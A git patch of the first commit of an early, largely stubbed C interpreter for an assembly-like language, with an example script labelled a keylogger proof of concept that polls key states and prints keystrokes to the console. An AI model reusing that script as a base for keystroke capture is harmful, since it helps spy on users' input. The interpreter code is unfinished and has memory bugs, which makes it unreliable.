From a6e64150e8b21a5b3ac2971e536c3053fb4b4137 Mon Sep 17 00:00:00 2001 From: ALittlePatate Date: Thu, 27 Apr 2023 21:44:22 +0200 Subject: [PATCH] first commit of the code --- .gitignore | 3 + examples/README.md | 2 + examples/keylogger.pasm | 60 +++++++++++++++ pasm.sln | 31 ++++++++ src/get_instruction.c | 74 +++++++++++++++++++ src/get_instruction.h | 10 +++ src/instruction_set.h | 21 ++++++ src/instructions.c | 22 ++++++ src/instructions.h | 34 +++++++++ src/main.c | 86 ++++++++++++++++++++++ src/main.h | 7 ++ src/pasm.vcxproj | 155 +++++++++++++++++++++++++++++++++++++++ src/pasm.vcxproj.filters | 41 +++++++++++ src/pasm.vcxproj.user | 10 +++ 14 files changed, 556 insertions(+) create mode 100644 .gitignore create mode 100644 examples/README.md create mode 100644 examples/keylogger.pasm create mode 100644 pasm.sln create mode 100644 src/get_instruction.c create mode 100644 src/get_instruction.h create mode 100644 src/instruction_set.h create mode 100644 src/instructions.c create mode 100644 src/instructions.h create mode 100644 src/main.c create mode 100644 src/main.h create mode 100644 src/pasm.vcxproj create mode 100644 src/pasm.vcxproj.filters create mode 100644 src/pasm.vcxproj.user diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..533efee --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +.vs +.git +x64/ \ No newline at end of file diff --git a/examples/README.md b/examples/README.md new file mode 100644 index 0000000..61f07b3 --- /dev/null +++ b/examples/README.md @@ -0,0 +1,2 @@ +# keylogger +This is a POC, i don't even know if it works as the interpreter and scripts are in very early stages \ No newline at end of file diff --git a/examples/keylogger.pasm b/examples/keylogger.pasm new file mode 100644 index 0000000..d2f7549 --- /dev/null +++ b/examples/keylogger.pasm @@ -0,0 +1,60 @@ +; Simple PASM keylogger POC +; by patate + +; //https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes + +; ----------------------------------- +; Keys 0 to 9 and A to Z +; ----------------------------------- +; for (int i = 48; i < 91; i++) { +; if (i >= 58 && i <= 64) { +; continue; +; } +; if (GetAsyncKeyState(i)) { +; printf("%c", i); +; } +; } + + +loop: + +mov a1, 47 ;set a1 to 47 + +numbers: +cmp a1, 90 +je loop ; if == + +call check +cmp eax, 1 +je inc_and_numbers + +add a1, 1 ; i++ + +push a1 ; arg 1 (vKey) +call GetAsyncKeyState +cmp eax, 1 +jne numbers ; if GetAsyncKeyState was false, jump to numbers + +mov a2, a1 ; necessary ? +push "%c" ; push format +push a2 ; push char +call printf +jmp numbers + +; https://stackoverflow.com/a/18670716 +check: +cmp a1, 58 +jb return ; if < + +cmp a1, 64 +ja return ; if > + +mov eax, 1 +ret + +inc_and_numbers: +add a1, 1 +call numbers + +return: +ret \ No newline at end of file diff --git a/pasm.sln b/pasm.sln new file mode 100644 index 0000000..9a45e6b --- /dev/null +++ b/pasm.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.1.32407.343 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "pasm", "src/pasm.vcxproj", "{6D8EE35D-C813-4209-A185-D7198811E00C}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6D8EE35D-C813-4209-A185-D7198811E00C}.Debug|x64.ActiveCfg = Debug|x64 + {6D8EE35D-C813-4209-A185-D7198811E00C}.Debug|x64.Build.0 = Debug|x64 + {6D8EE35D-C813-4209-A185-D7198811E00C}.Debug|x86.ActiveCfg = Debug|Win32 + {6D8EE35D-C813-4209-A185-D7198811E00C}.Debug|x86.Build.0 = Debug|Win32 + {6D8EE35D-C813-4209-A185-D7198811E00C}.Release|x64.ActiveCfg = Release|x64 + {6D8EE35D-C813-4209-A185-D7198811E00C}.Release|x64.Build.0 = Release|x64 + {6D8EE35D-C813-4209-A185-D7198811E00C}.Release|x86.ActiveCfg = Release|Win32 + {6D8EE35D-C813-4209-A185-D7198811E00C}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {AA519A40-CDCD-4CB3-9E0B-F8704E40D1F4} + EndGlobalSection +EndGlobal diff --git a/src/get_instruction.c b/src/get_instruction.c new file mode 100644 index 0000000..2a86925 --- /dev/null +++ b/src/get_instruction.c @@ -0,0 +1,74 @@ +#include "get_instruction.h" +#include "main.h" +#include +#include + +const char* instructions_char[] = {"add", "sub", "mov", "cmp", "je", "jne", "jmp", "jb", "jbn", "ja", "jna", "ret", "pop", "push", "call"}; + +INSTRUCTION get_instruction(char* line, int* args_start_pos, int line_number) { + char ins[20]; //20 should be enough + memset(ins, 0, sizeof(ins)); + + for (int i = 0; i < (int)strlen(line); i++) { + if (line[i] == ' ' || line[i] == '\n' || line[i] == '\0') { + ins[i] = '\0'; + *args_start_pos = i + 1; + break; + } + if (line[i] == ':') { + ins[i] = '\0'; + *args_start_pos = -1; + + labels[num_labels] = ins; + labels_lines[num_labels] = line_number; + ++num_labels; + return LABEL; + } + + ins[i] = line[i]; + } + + for (int j = 0; j < sizeof(instructions_char)/sizeof(instructions_char[0]); j++) { + if (strcmp(ins, instructions_char[j]) == 0) { + return (INSTRUCTION)j; + } + } + + *args_start_pos = -1; + return ERROR_INSTRUCTION; +} + +arguments get_args(char* line, int args_start_pos) { + char first_arg[256]; + char second_arg[256]; + + int write_to_first = 1; //ugly hack but whatever + int j = 0; + for (int i = args_start_pos; i < (int)strlen(line); i++) { + if (line[i] == '\n' || line[i] == '\0' || line[i] == ';') { + second_arg[j] = '\0'; + break; + } + + if (line[i] == ',') { + first_arg[j] = '\0'; + write_to_first = 0; + j = 0; + continue; + } + + if (line[i] == ' ') { + continue; + } + + if (write_to_first) { + first_arg[j++] = line[i]; + } + else { + second_arg[j++] = line[i]; + } + } + + arguments args = {first_arg, second_arg}; + return args; +} diff --git a/src/get_instruction.h b/src/get_instruction.h new file mode 100644 index 0000000..7d800c0 --- /dev/null +++ b/src/get_instruction.h @@ -0,0 +1,10 @@ +#pragma once +#include "instruction_set.h" + +typedef struct arguments { + char* arg1; + char* arg2; +} arguments; + +INSTRUCTION get_instruction(char* line, int* args_start_pos, int line_number); +arguments get_args(char* line, int args_start_pos); diff --git a/src/instruction_set.h b/src/instruction_set.h new file mode 100644 index 0000000..179f16d --- /dev/null +++ b/src/instruction_set.h @@ -0,0 +1,21 @@ +#pragma once + +typedef enum INSTRUCTIONS { + ERROR_INSTRUCTION = -2, + LABEL = -1, + ADD, + SUB, + MOV, + CMP, + JE, + JNE, + JMP, + JB, + JNB, + JA, + JNA, + RET, + POP, + PUSH, + CALL +} INSTRUCTION; diff --git a/src/instructions.c b/src/instructions.c new file mode 100644 index 0000000..918e131 --- /dev/null +++ b/src/instructions.c @@ -0,0 +1,22 @@ +#include "instructions.h" +#include "main.h" +#include +#include + +bool check_args(arguments args, int expected_num) { + if (strcmp(args.arg1, "a1") == 0) { + printf("aa\n"); + } + + return true; +} + +void add(arguments args) { + if (!check_args(args, 2)) { + return; + } +} + +void mov(arguments args) { + +} \ No newline at end of file diff --git a/src/instructions.h b/src/instructions.h new file mode 100644 index 0000000..b2c4495 --- /dev/null +++ b/src/instructions.h @@ -0,0 +1,34 @@ +#pragma once +#include "get_instruction.h" +#include + +typedef enum cmp_return_codes { + EQUAL, + BELOW, + ABOVE, +} cmp_return_codes; + +typedef enum check_args_codes { + WRONG_NUMBER, + NOT_VALID, + OK +} check_args_codes ; +static check_args_codes last_check_args_code = OK; + +bool check_args(arguments args, int expected_num); + +void add(arguments args); +void sub(arguments args); +void mov(arguments args); +cmp_return_codes cmp(arguments args); +bool je(arguments args); +bool jne(arguments args); +bool jb(arguments args); +bool jnb(arguments args); +bool ja(arguments args); +bool jna(arguments args); +void jmp(arguments args); +void ret(arguments args); +void pop(arguments args); +void push(arguments args); +void call(arguments args); diff --git a/src/main.c b/src/main.c new file mode 100644 index 0000000..0c38c88 --- /dev/null +++ b/src/main.c @@ -0,0 +1,86 @@ +#include +#include +#include "main.h" +#include "get_instruction.h" +#include "instructions.h" + +void show_help() { + printf("usage : pasm.exe [filename]"); +} + +int main(int argc, char** argv) { + if (argc != 2) { + printf("Bad arguments.\n"); + show_help(); + return 1; + } + + if (strcmp(argv[1], "help") == 0) { + show_help(); + return 1; + } + + FILE* fptr; + fopen_s(&fptr, argv[1], "r"); + if (fptr == NULL) { + printf("File %s does not exist.", argv[1]); + return 1; + } + + memset(&stack, 0, sizeof(stack)); //init stack + + char line[256]; + int line_number = 1; + while (fgets(line, sizeof(line), fptr)) { + if (line[0] == ';' || line[0] == '\n') { + ++line_number; + continue; + } + + int args_pos; + INSTRUCTION ins = get_instruction(line, &args_pos, line_number); + arguments args; + + if (args_pos != -1) { + args = get_args(line, args_pos); + + } + + switch (ins) { + case SUB : + break; + case MOV : + //mov(args); + break; + case ADD : + add(args); + break; + case ERROR_INSTRUCTION: + printf("%s ^\n |\ninvalid operand on line %d", line, line_number); + fclose(fptr); + return 1; + } + + if (last_check_args_code != OK) { + printf("%s", line); + printf("%*c ^\n", args_pos, ' '); + printf("%*c |\n", args_pos, ' '); + + switch (last_check_args_code) { + case WRONG_NUMBER : + printf("%*c wrong number of arguments on line %d", args_pos, ' ', line_number); + case NOT_VALID : + printf("%*c invalid number/register on line %d", args_pos, ' ', line_number); + } + + fclose(fptr); + return 1; + } + + ++line_number; + } + + fclose(fptr); + + return 0; +} \ No newline at end of file diff --git a/src/main.h b/src/main.h new file mode 100644 index 0000000..968441a --- /dev/null +++ b/src/main.h @@ -0,0 +1,7 @@ +#pragma once + +static int stack[9]; +static int a1, a2, a3, a4, a5, a6, a7, a8, a9, eax; //registers +static char* labels[256]; //max 256 labels +static int labels_lines[256]; //line numbers for the labels +static int num_labels = 0; //number of labels already in use diff --git a/src/pasm.vcxproj b/src/pasm.vcxproj new file mode 100644 index 0000000..a2e5a35 --- /dev/null +++ b/src/pasm.vcxproj @@ -0,0 +1,155 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {6d8ee35d-c813-4209-a185-d7198811e00c} + pasm + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/src/pasm.vcxproj.filters b/src/pasm.vcxproj.filters new file mode 100644 index 0000000..d0eec67 --- /dev/null +++ b/src/pasm.vcxproj.filters @@ -0,0 +1,41 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {2a1becaf-56e9-47d6-9175-5b0e4bceae63} + + + + + Fichiers sources + + + Fichiers sources + + + instructions + + + + + Fichiers d%27en-tête + + + Fichiers sources + + + Fichiers sources + + + instructions + + + \ No newline at end of file diff --git a/src/pasm.vcxproj.user b/src/pasm.vcxproj.user new file mode 100644 index 0000000..1a085bd --- /dev/null +++ b/src/pasm.vcxproj.user @@ -0,0 +1,10 @@ + + + + ../examples/keylogger.pasm + WindowsLocalDebugger + + + false + + \ No newline at end of file